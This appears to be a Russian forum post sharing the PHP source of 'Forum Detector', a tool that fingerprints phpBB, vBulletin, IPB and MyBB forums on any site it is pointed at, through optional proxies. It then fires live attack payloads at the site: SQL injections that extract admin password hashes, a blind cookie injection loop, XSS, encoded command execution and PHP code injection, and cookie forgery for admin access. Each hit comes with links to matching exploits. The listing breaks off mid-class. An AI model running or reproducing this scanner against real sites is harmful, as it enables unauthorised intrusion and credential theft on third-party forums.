Forum Detector – это скрипт, написанный на php, который поможет вам определить, что за форум установлен на интересующем вас сайте. Если конкретнее, то скрипт умеет:
- определять тип форума (на данный момент поддерживается распознавание IPB, phpBB, vBulletin, MyBB)
- определять версию форума по разным критериям
- определять возможные уязвимости форума и предлагать подходящие для них эксплойты
- определять ТиЦ и PR сайта
- есть поддержка прокси, socks5, прокси с авторизацией, socks5 с авторизацией
<?php
set_time_limit(0);
print <<<HERE
<html><head><title>Forum Detector 1.0 beta by dx</title>
<style>
INPUT
{
BORDER-RIGHT: rgb(50,50,50) 1px outset;
BORDER-TOP: rgb(50,50,50) 1px outset;
FONT-SIZE: 11px;
font-family:Arial;
BORDER-LEFT: rgb(50,50,50) 1px outset;
BORDER-BOTTOM: rgb(50,50,50) 1px outset;
}
button
{
BORDER-RIGHT: rgb(50,50,50) 1px outset;
BORDER-TOP: rgb(50,50,50) 1px outset;
FONT-SIZE: 10px;
BORDER-LEFT: rgb(50,50,50) 1px outset;
BORDER-BOTTOM: rgb(50,50,50) 1px outset;
width:50px;
}
a,a:active,a:visited
{
background: transparent;
color: #34498B;
text-decoration: none;
font-weight:700;
font-size:12;
font-family:Arial;
}
a:hover
{
background: transparent;
color: blue;
font-weight:700;
font-family:Arial;
font-size:12;
text-decoration: none;
}
</style>
</head><body>
HERE;
if(!isset($_POST['f']) || is_array($_POST['f']) || strlen(trim($_POST['f']))<3)
{
print <<<HERE
<center><h3>Forum Detector 1.0 beta by dx</h3></center><hr>
<form action='?' method='post'>
Адрес форума: <input type='text' name='f'> <input type='submit' value='Анализировать'>
<hr>Дополнительные настройки:<br><br>
<input type='checkbox' name='prcy' checked> Определить PR и ТиЦ<br>
<input type='radio' value='0' name='p' checked> Не использовать прокси и socks5<br>
<input type='radio' value='1' name='p'> Использовать HTTP-прокси<br>
<input type='radio' value='2' name='p'> Использовать Socks5<br>
<table border=0 cellpadding=1 cellspacing=1><tr><td>
Адрес: </td><td><input type='text' name='pr'>:<input type='text' name='pp' style='width:50px'></td></tr>
<tr><td>Логин и пароль (если необходимы): </td><td><input type='text' name='login'>:<input type='text' name='pass'>
</td></tr></table>
</form>
<hr>Скрипт позволяет определить тип и версию форума по заданному адресу, ищет некоторые известные уязвимости, дает ссылки на подходящие эксплойты. В данный момент скрипт умеет определять версии phpBB, vBulletin, Invision Power Board, MyBB.
<br><a href='http://kaimi.ru/' target='_blank'>© dx</a>
</body></html>
HERE;
exit();
}
$f=trim($_POST['f']);
if(strtolower(substr($f,0,7))!=='http://')
$f='http://'.$f;
if(!preg_match("/^http:\/\/([a-z0-9])([a-z0-9\-]+)(\.[a-z0-9\-]+)*(\.[a-z]+)(\/(.*))*$/i",$f))
die('Введен недопустимый URL. Вернитесь <a href="?">назад</a> и повторите попытку.');
$url=parse_url($f);
$uri=$url['path'];
$domain=$url['host'];
$port=$url['port'] ? $url['port'] : '80';
$bugs=Array();
$sploits=Array();
$s=new websock($domain,$port,false);
if(isset($_POST['p']) && !is_array($_POST['p']) && $_POST['p']!='0')
{
$pp=isset($_POST['pp']) && !is_array($_POST['pp']) ? $_POST['pp'] : '';
$pr=isset($_POST['pr']) && !is_array($_POST['pr']) ? $_POST['pr'] : '';
$login=isset($_POST['login']) && !is_array($_POST['login']) ? $_POST['login'] : '';
$pass=isset($_POST['pass']) && !is_array($_POST['pass']) ? $_POST['pass'] : '';
if(!preg_match("/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/",$pr))
die('Введен недопустимый адрес прокси/socks. Вернитесь <a href="?">назад</a> и повторите попытку.');
if(!preg_match("/^\d{1,5}$/",$pp))
die('Введен недопустимый порт прокси/socks. Вернитесь <a href="?">назад</a> и повторите попытку.');
if($_POST['p']=='1')
$s->set_proxy($pr,$pp,$login,$pass);
else
$s->set_socks5($pr,$pp,$login,$pass);
}
$uri=rtrim($uri,'/').'/';
$f2=htmlspecialchars($f);
print_flush("<b>Анализ $domain$uri...</b><br><br>Определение типа форума...<br>");
if(!@$s->sconnect())
die('Ошибка подключения: '.htmlspecialchars($s->serr()).' Вернитесь <a href="?">назад</a> и повторите попытку.');
$s->sclose();
$ret=$s->get($uri);
$reth=$ret[0];
$ret=$ret[1];
$ret2=$s->get($uri.'install/resources/settings.xml');
$mybb=found($ret2);
if(!$mybb)
{
$ret2=$s->get($uri.'clientscript/vbulletin_editor.css');
$vb=found($ret2);
if(!$vb)
{
$ret2=$s->get($uri.'jscripts/ipb_global.js');
$ipb=found($ret2);
}
}
$ver='';
$ftype='Не удалось определить';
if(isset($_POST['prcy']))
{
$prcy=get_prcy(str_replace('/','',$domain));
print_flush('Определено: <b>PR: '.$prcy[0].' CY: '.$prcy[1].'</b><br>');
}
if($ipb || strpos($ret,'IP.Board</a>')!==false || preg_match("/>Powered by Invision Power Board \d+\.\d+(\.\d+)?<\/div>/isU",$ret) || strpos($ret,"Powered by <a href=\"http://www.invisionboard.com")!==false || preg_match("/<title>[\S\s]+\(Powered by Invision Power Board\)<\/title>/isU",$ret) || preg_match("/<!-- Copyright Information -->\n[\s\S]+<!-- \/ Copyright -->/isU",$ret) || strpos($ret,"<div id='ipbcopyright'>")!==false || (strpos($ret,'<!-- Copyright Information -->')!==false && strpos($ret,'Powered By IP.Board')!==false))
{
$ftype='IPB';
print_flush('Это <b>Invision Power Board</b>. Определяем версию...<br>');
preg_match("/showforum=(\d+)/is",$ret,$m);
$someforum=isset($m[1]) ? $m[1] : 1;
preg_match("/showtopic=(\d+)/is",$ret,$m);
$sometopic=isset($m[1]) ? $m[1] : 1;
preg_match("/=([0-9a-z]{32})/is",$reth,$m);
$sid=isset($m[1]) ? $m[1] : '';
preg_match("/(\d+\.\d+(\.\d+)?).{1,20} © \d+ <a href='http:\/\/www.invisionpower.com'/isU",$ret,$m);
if(isset($m[1]))
{
$ver='['.$m[1].']';
}
else
{
preg_match("/>Powered by Invision Power Board (\d+\.\d+(\.\d+)?)<\/div>/isU",$ret,$m);
if(isset($m[1]))
$ver='['.$m[1].']';
}
print_flush('Дополнительное определение версий...<br>');
$ret2=$s->get($uri.'jscripts/ipb_forum.js');
preg_match("/Last\-Modified: (.+)\r\n/isU",$ret2[0],$dt);
if(isset($dt[1]))
$ver.=' [примерная дата установки: '.$dt[1].']';
$ret2=$s->get($uri.'html/emoticons/');
if(found($ret2))
$ver.=' [1.3.x]';
$ret2=$s->get($uri.'initdata.php');
if(found($ret2))
{
$ver.=' [3.0.x]';
}
else
{
$ret2=$s->get($uri.'interface/');
$ret3=$s->get($uri.'mod_install/');
$ret4=$s->get($uri.'ips_kernel/db_lib/');
if((found($ret2) && found($ret3)) || found($ret4))
{
$ver.=' [2.3.x]';
}
else
{
$ret2=$s->get($uri.'style_captcha/');
$ret3=$s->get($uri.'converge_local/');
if(found($ret2) && found($ret3))
{
$ver.=' [2.2.x]';
}
else
{
$ret2=$s->get($uri.'jscripts/ipb_editor_std.js');
if(found($ret2))
{
$ver.=' [2.1.x]';
}
else
{
$ret2=$s->get($uri.'/sources/usercp.php');
$ret3=$s->get($uri.'/sources/taskloader.php');
if(found($ret2) && found($ret3))
$ver.=' [2.0.x]';
}
}
}
}
print_flush('Проверка уязвимостей...<br>');
if(strpos($ver,'1.3')!==false)
{
$hex="0123456789abcdef";
$idx=0;
while(1)
{
$letter=substr($hex,$idx,1);
$cookie="member_id=10;pass_hash=123%2527%20OR%20id=1%20HAVING%20id=1%20AND%20MID(`password`,0,1)=%2527".$letter;
$ret2=$s->get($uri.'index.php?act=Login&CODE=autologin','',$cookie);
if(!preg_match("/Location:(.*)act=Login&CODE=00/",$ret2[0]))
{
$bugs[]='<b>SQL-Injection в cookies</b>';
$sploits[]='<a href="http://milw0rm.com/id.php?id=1036" target="_blank">SQL-Injection в cookies</a>';
$sploits[]='<a href="http://www.securitylab.ru/vulnerability/203717.php" target="_blank">SQL-Injection в ssi.php</a>';
$ver.=' [<=1.3.1 final]';
break;
}
$idx++;
if($idx==16)
break;
}
}
$ret2=$s->get($uri."index.php?s=$sid&act=Post&CODE=02&f=$someforum&t=$sometopic&qpid=x99");
if(strpos($ret2[1],'mySQL query error:')!==false)
{
$bugs[]='<b>SQL-инъекция: </b>'.$domain.$uri."index.php?s=$sid&act=Post&CODE=02&f=$someforum&t=$sometopic&qpid=x99";
$sploits[]='<a href="http://milw0rm.com/id.php?id=648" target="_blank">Получение хеша пароля</a>';
$ver.=' [2.0.0-2.0.2]';
}
$ret2=$s->get($uri."index.php?showforum=$someforum&prune_day=100&sort_by=Z-A&sort_key='");
if(strpos($ret2[1],'mySQL query error:')!==false)
{
$bugs[]='<b>SQL-инъекция: </b>'.$domain.$uri."index.php?showforum=$someforum&prune_day=100&sort_by=Z-A&sort_key='";
$sploits[]='<a href="http://www.securitylab.ru/vulnerability/202735.php" target="_blank">Информация о SQL-инъекции</a>';
$ver.=' [2.0.0-2.0.2]';
}
$ret2=$s->get($uri.'jscripts/folder_rte_files/module_image.php?editorid='.urlencode('";alert(document.cookie);var i="'));
if(strpos($ret2[1],'alert(document.cookie);var i=""')!==false)
{
$bugs[]='<b>Пассивная XSS (magic_quotes_gpc выключено): </b>'.$domain.$uri.'jscripts/folder_rte_files/module_image.php?editorid='.urlencode('";alert(document.cookie);var i="');
$ver.=' [<=2.2.2]';
}
else if(strpos($ret2[1],'alert(document.cookie);var i=\\""')!==false)
{
$bugs[]='<b>Пассивная XSS, но включено magic_quotes_gpc: </b>'.$domain.$uri.'jscripts/folder_rte_files/module_image.php?editorid='.urlencode('";alert(document.cookie);var i="');
$ver.=' [~2.2.2]';
}
$ret2=$s->get($uri.'index.php?act=xmlout&do=check-display-name&name=somethingfoobarkind%2527%20OR%201=1--%20');
if($ret2[1]==='found')
{
$bugs[]='<b>SQL-Injection: </b>'.$domain.$uri.'index.php?act=xmlout&do=check-display-name&name=somethingfoobarkind%2527%20OR%201=1--%20';
$sploits[]='<a href="http://www.milw0rm.com/exploits/6507" target="_blank">SQL-Injection <=2.3.5</a>';
$ver.=' [<=2.3.5]';
}
print_flush('Проверка уязвимостей некоторых дополнений...<br>');
$ret2=$s->get($uri."index.php?s=&act=army&userstat=0+test");
if(strpos($ret2[1],'mySQL query error:')!==false)
$bugs[]='<b>SQL-инъекция в Army mod: </b>'.$domain.$uri."index.php?s=&act=army&userstat=0+test";
$ret2=$s->get($uri."index.php?act=Arcade&module=report&user=-1%20union%20select%20575757575");
if(strpos($ret2[1],'575757575')!==false && strpos($ret2[1],'user=-1')===false)
{
$bugs[]='<b>SQL-инъекция в Arcade mod: </b>'.$domain.$uri."index.php?act=Arcade&module=report&user=-1%20union%20select%20575757575";
$sploits[]='<a href="http://www.milw0rm.com/exploits/1296" target="_blank">SQL-Injection <=2.3.5</a>';
}
}
else if($vb || preg_match("/>Copyright ©\d+ \- \d+, Jelsoft Enterprises Ltd/isU",$ret) || preg_match("/<div id=\"copyright\">vBulletin v[\S\s]+ Jelsoft Enterprises Ltd\.<\/div>/isU",$ret) || preg_match("/<title>[\S\s]+ \- [Pp]{0,1}owered by vBulletin<\/title>/isU",$ret) || preg_match("/<!-- Do not remove this copyright notice -->\n[\s\S]+<!-- Do not remove this copyright notice -->/isU",$ret) || strpos($ret,"<!-- breadcrumb, login, pm info -->")!==false)
{
$ftype='vBulletin';
print_flush('Это <b>vBulletin</b>. Определяем версию...<br>');
preg_match("/vBulletin® .{1,20} (\d+\.\d+\.\d+)([^\d]|<br)/isU",$ret,$m);
if(isset($m[1]))
{
$ver='['.$m[1].']';
}
print_flush('Дополнительное определение версий...<br>');
$ret2=$s->get($uri.'clientscript/vbulletin_textedit.js');
preg_match("/Last\-Modified: (.+)\r\n/isU",$ret2[0],$dt);
if(isset($dt[1]))
$ver.=' [Примерная дата установки: '.$dt[1].']';
$ret2=$s->get($uri.'clientscript/vbulletin_editor.css');
if(!preg_match("/vBulletin (\d+\.\d+\.\d+)( Patch Level \d+)/isU",$ret2[1],$m))
preg_match("/vBulletin (\d+\.\d+\.\d+)/isU",$ret2[1],$m);
if(isset($m[1]))
$ver.=isset($m[2]) ? ' [clientscript/vbulletin_editor.css: '.$m[1].' '.$m[2].']' : ' [clientscript/vbulletin_editor.css: '.$m[1].']';
$ret2=$s->get($uri.'clientscript/vbulletin_editor.css');
if(!preg_match("/vBulletin (\d+\.\d+\.\d+)( Patch Level \d+)/isU",$ret2[1],$m))
preg_match("/vBulletin (\d+\.\d+\.\d+)/isU",$ret2[1],$m);
if(isset($m[1]))
$ver.=isset($m[2]) ? ' [clientscript/vbulletin_editor.css: '.$m[1].' '.$m[2].']' : ' [clientscript/vbulletin_editor.css: '.$m[1].']';
$ret2=$s->get($uri.'install/finalupgrade.php');
preg_match("/vBulletin (\d+\.\d+\.\d+) /isU",$ret2[1],$m);
if(isset($m[1]))
$ver.=' [install/finalupgrade.php: '.$m[1].']';
$ret2=$s->get($uri.'includes/functions_banning.php');
if(found($ret2))
{
$ver.=' [~3.6.4]';
}
else
{
$ret2=$s->get($uri.'admincp/admininfraction.php');
if(found($ret2))
{
$ver.=' [~3.6.0]';
}
else
{
$ret2=$s->get($uri.'ajax.php');
if(found($ret2))
$ver.=' [~3.5.0]';
}
}
print_flush('Проверка уязвимостей...<br>');
$ret2=$s->get($uri.'search.php?do=process&showposts=0&query='.urlencode('<script>alert(/111/);</script>'));
if(strpos($ret2[1],'<script>alert(/111/);</script>')!==false)
{
$bugs[]='<b>Пассивная XSS: </b>'.$domain.$uri.'search.php?do=process&showposts=0&query='.urlencode('<script>alert(/111/);</script>');
$ver.=' [3.0.0-3.0.4]';
}
$ret2=$s->get($uri.'install/upgrade_301.php?step=SomeWord');
if(strpos($ret2[1],'sqltable')!==false)
{
$bugs[]='<b>Дамп любых таблиц: </b>'.$domain.$uri.'install/upgrade_301.php?step=SomeWord';
$ver.=' [<=3.5.4]';
}
$ret2=$s->get($uri.'admincp/index.php?do=buildnavprefs&nojs=0&prefs='.urlencode('"><script>alert("123")</script>'));
if(strpos($ret2[1],'alert("123")')!==false)
{
$bugs[]='<b>Пасивная XSS: </b>'.$domain.$uri.urlencode('"><script>alert("123")</script>');
$ver.=' [3.5.4]';
}
$ret2=$s->post($uri.'ajax.php?do=CheckUsername¶m='.urlencode('"><script>alert("xss")</script>'));
if(strpos($ret2[1],'alert("xss")')!==false)
$bugs[]='<b>Пасивная XSS: </b>'.$domain.$uri.'ajax.php?do=CheckUsername¶m='.urlencode('"><script>alert("xss")</script>');
$ret2=$s->get($uri.'validator.php');
if(found($ret2))
{
$bugs[]='<b>Найден валидатор: </b>'.$domain.$uri.'validator.php';
$ver.=' [3.6.x]';
}
}
else
if(strpos($ret,'We request you retain the full copyright notice below including the link to www.phpbb')!==false || strpos($ret,"<!--\n/*\n The original subSilver Theme")!==false || preg_match("/<title>[\S\s]+ [\(]{0,1}Powered by phpBB[\)]{0,1}<\/title>/isU",$ret) || preg_match("/<img src=\"templates\/\S{1,}\/images\/folder_new_big.gif\"/isU",$ret) || preg_match("/<a href=\"http:\/\/www\.phpbb\.com\/\" target=\"_phpbb\" class=\"copyright\">/isU",$ret) || strpos($ret,"Powered by <a href=\"http://www.phpbb")!==false)
{
$ftype='phpBB';
print_flush('Это <b>phpBB</b>. Определяем версию...<br>');
preg_match("/viewforum\.php\?f=(\d+)/is",$ret,$m);
$someforum=isset($m[1]) ? $m[1] : 1;
$sep='t';
preg_match("/viewtopic\.php\?t=(\d+)/is",$ret,$mt);
if(!isset($mt[1]))
{
preg_match("/viewtopic\.php\?p=(\d+)/is",$ret,$mt);
$sometopic=isset($mt[1]) ? $mt[1] : 1;
if(isset($m[1]))
$sep='p';
}
else
{
$sometopic=$mt[1];
}
$ret2=$s->get($uri.'docs/CHANGELOG.html');
$ret2=$ret2[1];
preg_match("/<span class=\"maintitle\">phpBB (.{1,15}) CHANGELOG<\/span><\/td>/isU",$ret2,$mv);
if(isset($mv[1]))
$ver='[версия при установке: '.$mv[1].']';
if($ver=='' || !preg_match("/^\d+\.\d+\.\d+$/",$ver))
{
preg_match("/Changes since (.{1,15})<\/a><\/li>/isU",$ret2,$mv);
if(isset($mv[1]))
{
$ver=$mv[1];
if(preg_match("/^(\d+)\.(\d+)\.(\d+)$/",$ver,$mv))
$ver='[версия при установке: '.$mv[1].'.'.$mv[2].'.'.($mv[3]+1).']';
}
}
print_flush('Дополнительное определение версий...<br>');
$ret2=$s->get($uri.'images/spacer.gif');
preg_match("/Last\-Modified: (.+)\r\n/isU",$ret2[0],$dt);
if(isset($dt[1]))
$ver.=' [Примерная дата установки: '.$dt[1].']';
$ret2=$s->get($uri.'admin/admin_disallow.php?setmodules=00');
if(strpos($ret2[1],'Call to undefined function')!==false)
{
$bugs[]='<b>Раскрытие путей: </b>'.$domain.$uri.'admin/admin_disallow.php?setmodules=00';
$ver.=' [<2.0.19]';
}
$ret2=$s->get($uri.'index.php?category_rows=aaaa');
if(strpos($ret2[1],'operator not supported for strings')!==false)
{
$bugs[]='<b>Раскрытие путей: </b>'.$domain.$uri.'index.php?category_rows=aaaa';
$ver.=' [<=2.0.4]';
}
$ret2=$s->get($uri.'ucp.php');
if(found($ret2))
$ver.=' [>=3.0.0]';
$ret2=$s->get($uri.'viewforum.php?f='.$someforum.'&start=-1');
if(strpos($ret2[1],'Could not obtain topic information')!==false)
{
$bugs[]='<b>Определение префиксов таблиц: </b>'.$domain.$uri.'viewforum.php?f='.$someforum.'&start=-1';
$ver.=' [<=2.0.21]';
}
print_flush('Проверка уязвимостей...<br>');
$ret2=$s->post($uri.'admin/admin_styles.php?mode=addnew','send_file=1&install_to=index.htm%00');
if(strpos($ret2[1],'<body bgcolor="#FFFFFF" text="#000000">')!==false)
{
$bugs[]='<b>File-include:</b> POST '.$domain.$uri.'admin/admin_styles.php?mode=addnew; Параметры: send_file=1&install_to=Локальное_или_удаленное_имя_файла%00';
$sploits[]='<a href="http://milw0rm.com/id.php?id=47" target="_blank">Просмотр или исполнение файлов</a>';
$ver.=' [~2.0.4]';
}
$ret2=$s->get($uri.'viewtopic.php?sid=1&topic_id=-1%20union%20select%2056765/*&view=newest');
if(strpos($ret2[0],'56765#56765')!==false)
{
$bugs[]='<b>Получение хеша пароля:</b> Пример запроса с SQL-инъекцией: '.$domain.$uri.'viewtopic.php?sid=1&topic_id=-1%20union%20select%2056765/*&view=newest';
$sploits[]='<a href="http://milw0rm.com/id.php?id=44" target="_blank">Получение хеша пароля</a>';
$ver.=' [~2.0.5]';
}
$ret2=$s->get($uri."search.php?search_id=-1%20union%20select%20'''");
if(strpos($ret2[1],'DEBUG MODE')!==false)
{
$bugs[]='<b>SQL-инъекция:</b> Пример запроса с SQL-инъекцией: '.$domain.$uri."search.php?search_id=-1%20union%20select%20'''";
$sploits[]='<a href="http://milw0rm.com/id.php?id=137" target="_blank">Получение хеша пароля (search.php)</a>';
$ver.=' [~2.0.6]';
}
$ret2=$s->get($uri."viewtopic.php?$sep=$sometopic&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20%6C%73%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527");
if(strpos($ret2[1],'<TITLE>500')!==false || strpos($ret2[1],'extension.inc')!==false)
{
$bugs[]='<b>Выполнение произвольных команд через viewtopic.php</b>';
$sploits[]='<a href="http://milw0rm.com/id.php?id=647" target="_blank">Выполнение произвольных команд через viewtopic.php</a>';
$ver.=' [2.0.7-2.0.10]';
}
$ret2=$s->get($uri,'',"phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D");
if(strpos($ret2[1],'<a href="admin/index.php?')!==false)
{
$bugs[]='<b>Подмена cookies: </b>phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D';
$sploits[]='<a href="http://www.milw0rm.com/exploits/889" target="_blank">Подмена cookies и получение прав администратора</a>';
$ver.=' [<=2.0.12]';
}
$ret2=$s->get($uri."viewtopic.php?$sep=$sometopic&highlight='.printf(blaaaaaaaa).'");
if(preg_match("/[^8\(]blaaaaaaaa/",$ret2[1]))
{
$bugs[]='<b>Выполнение PHP-кода: </b>'.$domain.$uri."viewtopic.php?$sep=$sometopic&highlight='.printf(blaaaaaaaa).'";
$sploits[]='<a href="http://milw0rm.com/id.php?id=1080" target="_blank">Выполнение PHP-кода</a>';
$ver.=' [<=2.0.15]';
}
print_flush("Проверка уязвимостей некоторых модификаций...<br>");
$ret2=$s->get($uri."index.php?s=-99%20UNION%20SELECT%20null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id=2/*");
if(preg_match("/open(.{1,10})template/is",$ret2[1]))
{
$bugs[]='<b>SQL-инъекция в style changer/demo mod</b>';
$sploits[]='<a href="http://www.milw0rm.com/exploits/1469" target="_blank">SQL-инъекция в style changer/demo mod</a>';
$ver.=' [~2.0.19]';
}
$ret2=$s->get($uri."downloads.php?cat=-1%20UNION%20SELECT%200,1212121212121,0,0,0,0,0,0,0/*");
if(strpos($ret2[1],'1212121212121')!==false && found($ret2))
{
$bugs[]='<b>SQL-инъекция в downloads mod</b>';
$sploits[]='<a href="http://www.milw0rm.com/exploits/907" target="_blank">SQL-инъекция в downloads mod</a>';
}
$ret2=$s->get($uri."filebase.php?d=1&id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,1212121212121,12,13,14/**/FROM/**/phpbb_users/*");
if(strpos($ret2[1],'1212121212121')!==false && found($ret2))
{
$bugs[]='<b>SQL-инъекция в mod filebase</b>';
$sploits[]='<a href="http://www.milw0rm.com/exploits/5236" target="_blank">SQL-инъекция в mod filebase</a>';
}
$ret2=$s->get($uri."links.php?t=search&search_keywords=asd&start=1,1%20UNION%20SELECT%201,121212121211,user_password,4,5,6,7,8,9,10,11,12%20FROM%20phpbb_users%20WHERE%20user_id=2/*");
if(strpos($ret2[1],'121212121211')!==false && found($ret2))
{
$bugs[]='<b>SQL-инъекция в Links Mod</b>';
$sploits[]='<a href="http://www.milw0rm.com/exploits/4346" target="_blank">SQL-инъекция в Links Mod</a>';
}
$ret2=$s->get($uri."forum.php?c=-1/**/UNION/**/SELECT/**/0,1,2,3,4,121212121212121,6/**/FROM/**/minerva_users%20where%20user_id=2/*");
if(strpos($ret2[1],'121212121212121')!==false && found($ret2))
{
$bugs[]='<b>SQL-инъекция в Minerva Mod</b>';
$sploits[]='<a href="http://www.milw0rm.com/exploits/4346" target="_blank">SQL-инъекция в Minerva Mod</a>';
$ver.=' [<=2.0.21]';
}
$ret2=$s->get($uri."alltopics.php?mode=&order=ASC&start=-1%20UNION%20SELECT%20523117/*");
if(strpos($ret2[1],'523117')!==false && found($ret2))
{
$bugs[]='<b>SQL-инъекция в All Topics mod</b>';
$sploits[]='<a href="http://www.milw0rm.com/exploits/2248" target="_blank">SQL-инъекция в All Topics mod</a>';
}
}
else
if($mybb || strpos($ret,'misc.php?action=syndication')!==false || strpos($ret,'Powered By <a href="http://www.mybboard.net" target="_blank">MyBB')!==false || strpos($ret,'http://mybboard.net/contact">')!==false || strpos($ret,'You may NOT remove, modify or hinder the visibility of the MyBB copyright at any time')!==false || strpos($ret,"n='mybb_ctest'")!==false || preg_match("/<a href=\"http:\/\/www\.mybboard\.com\" target=\"_blank\">MyBB<\/a>/isU",$ret) || preg_match("/<a id=\"mybb\" href=\"http:\/\/mybb.ru\/\" target=\"_blank\">MyBB<\/a>/isU",$ret))
{
$ftype='MyBB';
$ret2=$s->get($uri.'install/resources/settings.xml');
preg_match("/<settings version=\"(\d+)\"/isU",$ret2[1],$m);
if(isset($m[1]))
$ver.=' [ install/resources/settings.xml: '.$m[1].']';
$ret2=$s->get($uri.'/install/resources/mybb_theme.xml');
preg_match("/ version=\"(\d+)\">/isU",$ret2[1],$m);
if(isset($m[1]))
$ver.=' [ install/resources/settings.xml: '.$m[1].']';
$ret2=$s->get($uri."calendar.php?action=event&eid='%20UNION%20SELECT%20121212121,121212121,null,null,null,null,121212121,null/*");
if(strpos($ret2[1],'121212121')!==false && found($ret2))
{
$bugs[]='<b>SQL-инъекция в calendar.php</b>';
$sploits[]='<a href="http://milw0rm.org/exploits/1022" target="_blank">SQL-инъекция в calendar.php</a>';
$ver.=' [<=1.0.0 RC4]';
}
$ret2=$s->get($uri."search.php?s=de1aaf9b&action=do_search&keywords=%3Cscript%3Ealert(1)%3C/script%3E&srchtype=3");
if(strpos($ret2[1],'<script>alert(1)')!==false)
{
$bugs[]='<b>Пассивная XSS в search.php</b>'.$domain.$uri."search.php?s=de1aaf9b&action=do_search&keywords=%3Cscript%3Ealert(1)%3C/script%3E&srchtype=3";
$ver.=' [~1.0.2]';
}
$ret2=$s->get($uri."index.php?referrer=9999999999'%20UNION%20SELECT%20121212112121,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9%20FROM%20mybb_users%20WHERE%20uid=1/*");
if(strpos($ret2[1],'121212112121')!==false)
{
$bugs[]='<b>SQL-инъекция: </b>'.$domain.$uri."index.php?referrer=9999999999'%20UNION%20SELECT%20121212112121,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9%20FROM%20mybb_users%20WHERE%20uid=1/*";
$ver.=' [<=1.1.2]';
}
$s->sconnect();
$s->get_header($uri.'index.php','','','GET','','',"CLIENT-IP: 'qwerty/*\r\n");
$s->swrite();
$ret2=$s->http11read();
$s->sclose();
if(strpos($ret2[1],'You have an error in your SQL syntax')!==false)
{
$bugs[]='<b>SQL-инъекция в CLIENT-IP</b>';
$sploits[]='<a href="http://www.security.nnov.ru/files/mybbsipsql.php" target="_blank">SQL-инъекция в CLIENT-IP</a>';
$ver.=' [<=1.1.5]';
}
$s->sconnect();
$s->get_header($uri.'index.php','','','GET','','',"CLIENT_IP: 123' or 1=(select null from mybb_users where length(if(ascii(substring((select password from mybb_users where uid=1),1,1))>1,password,uid))>254)/*\r\n");
$s->swrite();
$ret2=$s->http11read();
$s->sclose();
if(strpos($ret2[1],'Subquery returns more than 1 row')!==false)
{
$bugs[]='<b>SQL-инъекция в CLIENT-IP</b>';
$sploits[]='<a href="http://www.milw0rm.com/exploits/3719" target="_blank">SQL-инъекция в CLIENT-IP</a>';
$ver.=' [<=1.2.2]';
}
$ret2=$s->get($uri."calendar.php?action=dayview&year=2007&month=3&day=1111111'%20OR%201=1/*");
if(strpos($ret2[1],'profile')!==false)
{
$bugs[]='<b>SQL-инъекция в calendar.php</b>';
$sploits[]='<a href="http://www.securitylab.ru/poc/extra/294837.php" target="_blank">SQL-инъекция в calendar.php</a>';
$ver.=' [<=1.2.5]';
}
$ret2=$s->get($uri."forumdisplay.php?fid=$fid&sortby=']=1;echo%20'*';echo%20'*';%20\$orderarrow['");
if(strpos($ret2[1],'**')!==false)
{
$bugs[]='<b>Выполнение PHP-кода</b>';
$sploits[]='<a href="http://www.milw0rm.com/exploits/4927" target="_blank">Выполнение PHP-кода</a>';
$ver.=' [<=1.2.10]';
}
$ret2=$s->get($uri.'inc/3rdparty/diff/Diff/Renderer/unified.php');
if(strpos($ret2[1],'require_once')!==false)
{
$bugs[]='<b>Раскрытие путей: </b>'.$domain.$uri.'inc/3rdparty/diff/Diff/Renderer/unified.php';
$ver.=' [~1.4.x]';
}
}
print '<b>Определено: </b>'.$ftype.' '.$ver;
if(count($bugs)<1)
$bugs[]='не найдено';
if(count($sploits)<1)
$sploits[]='не найдено';
print '<hr><b>Найденные уязвимости: </b><br>'.implode('<br>',$bugs).'<hr><b>Подходящие эксплойты: </b><br>'.implode('<br>',$sploits);
if(strtolower(substr($domain,0,4))=='www.')
$domain=substr($domain,4);
print "<hr><b>Рекомендуется посмотреть: </b><br><a href='http://www.google.ru/search?hl=ru&q=inurl%3A".$domain."+\"mysql+error\"' target='_blank'>Что заметил google (SQL)</a><br><a href='http://www.google.ru/search?hl=ru&q=inurl%3A".$domain."+\"warning%3A \"' target='_blank'>Что заметил google (другое)</a>";
die('<hr><b>Scan complete.</b><hr><a href="?">Анализировать еще форум...</a></body></html>');
function print_flush($txt)
{
print $txt;
ob_flush();
flush();
}
function found($ret)
{
if(strpos($ret[0],'404')===false && strpos($ret[1],'<title>404')===false && strpos($ret[1],'<TITLE>The page cannot be found</TITLE>')===false && strpos($ret[0],'302')===false && strpos($ret[0],'301')===false)
return true;
return false;
}
function get_prcy($domain)
{
$s=new websock('bar-navig.yandex.ru','80',false);
$ret=$s->get('/u?ver=2&show=32&url=http://'.$domain);
return preg_match('/<tcy rang="(\d+)" value="(\d+)"/is',$ret[1],$m) ? Array($m[1],$m[2]) : Array(0,0);
}
/* WEBsock class by DX */
class websock
{
/*все переменные private*/
var $sock;
var $connection=0;
var $keepalive=300;
var $request='';
var $browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0';
var $proto='1.0';
var $addr='';
var $success=0;
var $proxy='';
var $pport=0;
var $port=0;
var $s_addr='';
var $s_port=0;
var $use_lowlevel_socks=true;
var $fsock_err='';
